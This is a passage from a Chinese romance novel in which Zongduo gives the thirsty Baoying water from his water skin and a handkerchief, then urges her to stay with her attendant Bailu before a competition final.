“没空跟你玩。” 宗铎不想搭理她,拔开水囊的软木塞,仰头喝起了白水。 宝楹见他脸上沁着薄汗,一路流到喉结的凸点,凝成汗珠往下滴,正好坠入笔直锁骨的凹陷处,聚成一片小湖泊,而后慢慢溢向衣领深处,在肌肉紧实的胸口处洇出一小片深色。 她这才感到分外口干舌燥,伸手去够他的水囊:“我也要喝。” 宗铎把水囊往上一抬,举到她够不到的位置:“我的东西不与人共用,要喝找个宫人给你倒茶去。” 宝楹望着熙熙攘攘的人群,拿手在脸颊边扇了扇风:“那要太久了!我刚才一路跑过来,喉咙都快冒烟了!我想现在就喝到凉凉的白水!” 她仰着头眼巴巴地看着他。 宗铎望着她红扑扑的脸颊,小琼鼻上沁着一层细汗,晶莹红润的嘴唇上起了点干皮,让人忍不住想要把它抚平。 “张嘴。”他说。 她乖巧地抬起下巴颏,张大了嘴巴。 宗铎将水囊放到她嘴巴上方,倒了些沁凉的白水进去。 宝楹咕嘟咕嘟地喝了好几口。 他问:“喝够没?” 她忙点点头。 宗铎塞紧水囊,又递了张帕子过去:“脸上的汗擦一擦。” 宝楹接过来擦汗,他的帕子上也带着一股清冽幽香,怪好闻的。 她抬眸偷觑了他一眼,不期然撞上他乌浓的眼眸,里面清晰地映着她的形容,霎时觉得脸上更加发热了。 宗铎耳尖也微微发着热,池边虽有树荫遮挡,到底不敌骄阳烈日。他仰头将水囊里剩余的凉水一饮而尽,总算平复了心头因暑气带来的躁动。 “时辰不早,决赛快开始了,你赶紧回飞仙阁去,别在外头乱跑。” 他举目望向她的身后,眉心微微一蹙,“白露呢?” 这次进宫,随侍左右的还是白露。 “不知道。” 宝楹漫不经心地回答,好像在万寿宫就不见她的人影了。 不过白露不在才好呢!省得天天看她的脸色。 宗铎却很严肃地叮嘱她:“让白露寸步不离跟着你。她是宫里出来的,有什么事,能帮你应付。” “知道啦!好啰嗦哦!” 宝楹不以为然,转身捉着裙子跑开了。 宗铎凝眉看着她蝴蝶一样蹁跹的背影。 不知道为什么,原本觉得稳操胜券的比赛,此刻心头忽然多了几分不确定。